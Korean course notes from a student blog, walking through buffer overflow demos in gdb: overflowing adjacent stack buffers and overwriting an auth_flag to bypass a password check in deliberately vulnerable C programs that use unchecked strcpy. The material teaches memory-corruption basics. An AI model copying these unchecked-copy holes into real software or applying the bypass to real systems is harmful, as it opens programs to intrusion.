발자취

시스템 보안 05-1. 버퍼 오버플로우 공격 본문

3-2/시스템보안

시스템 보안 05-1. 버퍼 오버플로우 공격

해린 2023. 11. 3. 09:47

1. gdb를 이용한 overflow_example.c 분석

#include <stdio.h> 
#include <string.h>

int main(int argc, char *argv[]) {
	int value = 5;
	char buffer_one[8], buffer_two[8];

	strcpy(buffer_one, "one"); 
	strcpy(buffer_two, "two");

	printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n”, buffer_two,buffer_two); 
	printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one,buffer_one); 
	printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value);

	printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1])); 
	strcpy(buffer_two, argv[1]);

	printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two,buffer_two); 	printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one,buffer_one); 	printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);
}

overflow_example.c 코드

$ gcc -g -o overflow_example overflow_example.c
overflow_example.c 코드를 컴파일 함
-g: gdb를 사용할 수 있게 함
-o: 이름 지정

$ gdb -q ./overflow_example
overflow_example 파일을 gdb 모드로 실행

(gdb) set disassembly intel
인텔 문법을 사용할 것이라고 명시함

(gdb) list main
메인 함수의 코드와 라인을 보여줌
-> 출력되는 내용
18 printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two,buffer_two);
19 printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one,buffer_one);
20 printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);

(gdb) break 18

overflow_example.c 파일의 strcpy(buffer_two, argv[1]); 코드 부분에서 오버플로우가 발생할 수 있다. argv[1]는 사용자가 입력한 내용이고, 이 길이가 buffer_two의 크기보다 크다면 오버플로우가 일어나는 것이다.
따라서 이 부분이 실행된 후를 알아야하기 때문에 이 부분 다음 라인에 브레이크 포인트를 걸어준 것이다 (브레이크 포인트를 걸어주면 해당 라인 전까지만 실행한다.)

(gdb) run 1234567890
인자값으로 ‘1234567890’을 넣어 실행해줬다.

(gdb) x/16x $esp
위 명령어를 실행하면 결과는 다음과 같다.

파란색으로 표시된 부분이 buffer_one 부분이며, 빨간색으로 표시된 부분이 buffer_two 부분이다. buffer_two는 8바이트 사이즈인데, 10바이트를 인자로 넣어줬기 때문에, 8바이트는 정상적으로 buffer_two에 들어갔으나 나머지 이 바이트는 인접한 buffer_one에 들어간 것을 확인할 수 있다. 넘친 2바이트의 값 때문에 buffer_one이 아예 덮어씌워져서 원래 있던 값이 사라지고 새로운 값이 들어갔다.

(gdb) quit

$ gdb -q ./overflow_example
(gdb) set disassembly intel
(gdb) break 18
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb를 새로 시작한 뒤, 인자값으로 ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAA’를 넣어 실행했다.
실행 결과는 다음과 같다

‘A’의 ASCII 코드값은 0x41이다.
빨간색: buffer_two
파란색: buffer_one
초록색: 다른 메모리 공간
buffer_two 공간이 넘쳐서 buffer_one 공간에 담기고, 그것도 넘쳐서 다른 메모리까지 침범하게 된 것이다.
기존에 존재하는 배열 공간을 모두 넘쳐서도 오버플로우가 발생할 수 있다는 것을 알 수 있다.
여기서는 기존의 값들을 ‘A’의 아스키코드 값으로만 바꿔줬지만, 우리가 원하는 특정 주소의 값들을 바꿀 수 있으면 좀 더 의미있는 오버플로우 공격이 가능하다!


2. gdb를 이용한 auth_overflow.c 분석

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>

int check_authentication(char *password) { 
	int auth_flag = 0;
	char password_buffer[16];

	strcpy(password_buffer, password); 
	if(strcmp(password_buffer, "brillig") == 0)
		auth_flag = 1; 
	if(strcmp(password_buffer, "outgrabe") == 0)
		auth_flag = 1;

	return auth_flag; 
}

int main(int argc, char *argv[]) {

	if(argc < 2) {
		printf("Usage: %s <password>\n", argv[0]);
		exit(0); 
	}
	if(check_authentication(argv[1])) { 
		printf("\n-------------------------\n"); 
		printf(" ACCESS GRANTED.\n"); 
		printf("---------------------------\n");
	}
	else {
		printf("\nAccess Denied.\n"); 
	}

}

auth_overflow.c 코드

[5] 패스워드 값을 받아서 패스워드 값이 맞는지 안맞는지에 따라 리턴값이 달라짐.
[9] 오버플로우가 발생할 지점. password 값이 16바이트를 넘어가면 오버플로우가 발생한다.
[10~13] brillig와 outgrabe는 미리 설정해둔 정확한 패스워드. auth_flag가 1이 되어야 password 값이 맞는 거임!
  -> 따라서 우리는 오버플로우를 통해 auth_flag 값을 0보다 크게 만들어주는 것이 목표!

$ gcc -g -o auth_overflow auth_overflow.c
$ gdb -q auth_overflow
(gdb) set disassembly intel
(gdb) list 1
코드의 라인을 알려줌

(gdb) break 10
(gdb) break 17
(gdb) run AAAAAAAAAAAAAAAAA
인자값이 들어가기 전(10)과 들어간 후(17)에 브레이크 포인트를 찍고 실행.

(gdb) x/s password_buffer
-> 결과: password_buffer의 주소는 0xbffff2ec. 내용은 가비지 값..

(gdb) x/x &auth_flag
-> 결과: 0x00.
아직 인자값이 들어가지 않았기 때문에 0이다.

(gdb) print 0xbffff2fc - 0xbffff2ec
-> 결과: $1 = 16.
auth_flag와 password_buffer 사이 공간의 크기. 스택 그림을 그리기 위해서 구했음

(gdb) cont
계속 진행

(gdb) x/s password_buffer
-> 결과: 0xbffff2ec: ‘A’
password_buffer의 주소는 0xbffff2ec고, 값은 ‘A’

(gdb) x/x &auth_flag
-> 결과: 0x41
0x41은 ‘A’임. A를 넣어서 강제로 0보다 크도록 만들어줬다.


(gdb) x/16x password_buffer

auth_flag의 값이 바뀌었음.
인자로 들어간 값이 auth_flag의 공간까지 넘쳤기 때문에 리셋된 것임.

(gdb) x/4cb &auth_flag
-> 결과: 0xbffff2fc: 65 ‘A’

(gdb) x/dw &auth_flag
-> 결과: 0xbffff2fc: 65

(gdb) cont
-> 결과:
———————————————
ACCESS GRANTED.
———————————————

=> &auth_flag에 0보다 큰 값이 들어갔기 때문에 접근 인정 메시지가 뜬다